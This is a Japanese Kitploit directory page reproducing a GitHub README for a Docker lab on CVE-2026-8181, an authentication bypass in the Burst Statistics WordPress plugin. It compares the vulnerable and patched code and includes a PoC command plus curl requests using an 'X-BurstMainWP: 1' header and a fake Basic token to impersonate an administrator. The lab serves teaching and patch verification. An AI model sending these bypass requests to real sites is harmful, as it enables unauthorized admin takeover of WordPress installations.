Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-8181-Lab — Burst Statistics WordPressプラグインにおけるCVE-2026-8181認証バイパスを実証するDockerラボ。脆弱なバージョンと修正済みバージョンを比較し、最小限の影響のPoCを使用してREST APIリクエストにおける不適切な認証を説明します。 | Kitploit
ツール/GitHubGitHub/rootdirective-sec/cve-2026-8181-lab
脆弱性分析ウェブアプリケーション悪用ウェブセキュリティCTFペネトレーションテスト認証学習と教育ラボと実践
GitHub

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
rootdirective-sec/cve-2026-8181-lab

CVE-2026-8181-Lab

Burst Statistics WordPressプラグインにおけるCVE-2026-8181認証バイパスを実証するDockerラボ。脆弱なバージョンと修正済みバージョンを比較し、最小限の影響のPoCを使用してREST APIリクエストにおける不適切な認証を説明します。

リポジトリを見る
3ヶ月前未レビュー

CVE-2026-8181 — Burst Statistics 認証バイパスラボ

CVE-2026-8181 のローカル専用 Docker ラボ。WordPress プラグイン Burst Statistics – Privacy-Friendly WordPress Analytics における認証バイパスです。

このラボでは、脆弱性のあるプラグインバージョンとパッチ適用済みバージョンを比較し、最小限の害の PoC を用いて、ユーザー作成、ファイルアップロード、WordPress 状態の変更を行わずにその違いを証明します。

概要

影響を受けるプラグイン: Burst Statistics – Privacy-Friendly WordPress Analytics
影響を受けるバージョン: 3.4.0 から 3.4.1.1
パッチ適用済みバージョン: 3.4.2
脆弱性の種類: 認証バイパス / 不適切な認証
影響: 認証されていない攻撃者が、有効な管理者ユーザー名を知っていれば、REST API リクエストの期間中、管理者になりすますことができます。

このラボでは:

  • vuln は Burst Statistics 3.4.1.1 を実行
  • patched は Burst Statistics 3.4.2 を実行
  • PoC は X-BurstMainWP: 1 と偽の Basic 認証パスワードを送信
  • 脆弱なサービスはリクエストを管理者として扱う
  • パッチ適用済みサービスは同じリクエストを拒否する

ラボ構成

seed サービスは両方の環境で WordPress をインストールし、ラボ管理者を作成し、Burst Statistics を有効化します。

ラボ管理者ユーザー名:

root@kitploit:~
labadmin

PoC は意図的に間違ったパスワードを使用してバイパスを証明します。

根本原因

Burst Statistics には MainWP 関連のプロキシ認証パスが含まれています。REST API リクエストに次のヘッダーが含まれる場合:

root@kitploit:~
X-BurstMainWP: 1

Burst は認証を MainWP_Proxy::is_mainwp_authenticated() に委任します。

脆弱なバージョンでは、この関数は攻撃者が制御する Basic 認証クレデンシャルを読み取り、ユーザー名とパスワードを抽出して WordPress コアに渡します:

root@kitploit:~
$is_valid = wp_authenticate_application_password( null, $username, $password );

問題は戻り値のチェックです。

脆弱なロジック: 3.4.1.1

includes/Frontend/class-mainwp-proxy.php から簡略化:

root@kitploit:~
$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
    return false;
}

$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
    return false;
}

wp_set_current_user( $user->ID );
return true;

脆弱なコードは WP_Error のみを拒否します。しかし、wp_authenticate_application_password() は認証が実際に成功しなかった場合に null やその他のユーザー以外の値を返すことがあります。null は WP_Error ではないため、チェックを通過します。

その後、プラグインは指定されたユーザー名を検索し、次のように呼び出します:

root@kitploit:~
wp_set_current_user( $user->ID );

これにより、WordPress は現在の REST API リクエストをそのユーザーとして扱います。ユーザー名が管理者に属している場合、WordPress の権限チェックはリクエストの残りの期間、管理者として認識します。

パッチロジック

パッチ適用済みバージョンは、認証チェックを修正し、処理を進める前に実際の認証済みユーザーオブジェクトを要求します。

パッチ適用済みロジック: 3.4.2

概念的には、修正は次のとおりです:

root@kitploit:~
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}

重要な変更点は、単に「エラーではない」戻り値では不十分になったことです。認証結果は実際の \WP_User オブジェクトでなければなりません。

これにより、null が古い is_wp_error() チェックをバイパスする脆弱な経路をブロックします。

なぜこれが重要なのか

このラボは、次のエンドポイントを使用した読み取り専用の証明を示しています:

root@kitploit:~
/wp/v2/users/me?context=edit

このエンドポイントは、WordPress がリクエストを認証済みと見なすかどうかを示すのに十分です。

実際の影響は、このラボの証明よりも大きくなる可能性があります。攻撃者が REST API リクエストの管理者になりすますことができれば、特権のある WordPress エンドポイントにアクセスできる可能性があります。一般的な WordPress 構成では、管理者アクセスは、アカウント作成、アプリケーションパスワード、プラグインインストール、テーマ変更、その他の管理操作を通じて、永続的なサイト乗っ取りにつながる可能性があります。

このリポジトリは、これらの破壊的な経路を意図的に避けています。

実行

root@kitploit:~
docker compose up -d --build

1回限りの seed サービスが完了するのを待ちます:

root@kitploit:~
docker compose logs seed

期待される seed の出力:

root@kitploit:~
[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete

Python の依存関係をインストール:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

脆弱なサービスに対して PoC を実行:

root@kitploit:~
python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin

期待される脆弱な結果:

root@kitploit:~
=== baseline without bypass headers ===
status: 401

=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]

[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.

同じ PoC をパッチ適用済みサービスに対して実行:

root@kitploit:~
python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin

期待されるパッチ適用済みの結果:

root@kitploit:~
=== baseline without bypass headers ===
status: 401

=== with X-BurstMainWP + fake Basic password ===
status: 401

[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.

手動テスト

偽の Basic 認証トークンを生成:

root@kitploit:~
TOKEN=$(printf 'labadmin:not-the-real-password' | base64)

脆弱なサービス

バイパスヘッダーなしのベースラインリクエスト:

root@kitploit:~
curl -sS -i \
  'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'

期待される出力:

root@kitploit:~
HTTP/1.1 401 Unauthorized
rest_not_logged_in

バイパス試行:

root@kitploit:~
curl -sS -i \
  -H 'X-BurstMainWP: 1' \
  -H "Authorization: Basic $TOKEN" \
  'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'

期待される出力:

root@kitploit:~
HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]

パッチ適用済みサービス

同じバイパス試行をパッチ適用済みサービスに対して実行:

root@kitploit:~
curl -sS -i \
  -H 'X-BurstMainWP: 1' \
  -H "Authorization: Basic $TOKEN" \
  'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'

期待される出力:

root@kitploit:~
HTTP/1.1 401 Unauthorized
rest_not_logged_in

サーバー側の証拠

脆弱なサービスは動作の変化を明確に示します:

root@kitploit:~
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200

パッチ適用済みサービスは、認証なしの試行とバイパス試行の両方を拒否します:

root@kitploit:~
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401

安全性に関する注意事項

この PoC は意図的に最小限の害に抑えられています:

  • 管理者アカウントの作成なし
  • アプリケーションパスワードの作成なし
  • プラグインのアップロードなし
  • テーマの変更なし
  • コマンド実行なし
  • 永続的な状態変更なし
  • PoC スクリプトのローカルホストのみガード

このラボは、自身のローカル Docker 環境でのみ使用してください。

参考情報

  • NVD — CVE-2026-8181: https://nvd.nist.gov/vuln/detail/CVE-2026-8181
  • Wordfence 技術分析: https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/
  • 脆弱なソース参照、Burst Statistics 3.4.1.1: https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php
  • パッチ適用済みソース参照、Burst Statistics trunk / 3.4.2 パス: https://plugins.trac.wordpress.org/browser/burst-statistics/trunk/includes/Frontend/class-mainwp-proxy.php
  • 管理者ヘルパーエントリポイント: https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Traits/trait-admin-helper.php
ツールをダウンロード
サービス説明URL
vulnWordPress + Burst Statistics 3.4.1.1http://127.0.0.1:8081
patchedWordPress + Burst Statistics 3.4.2http://127.0.0.1:8082
db_vuln脆弱なWordPress用MySQL内部のみ
db_patchedパッチ適用済みWordPress用MySQL内部のみ
seed1回限りのWP-CLIセットアップコンテナ内部のみ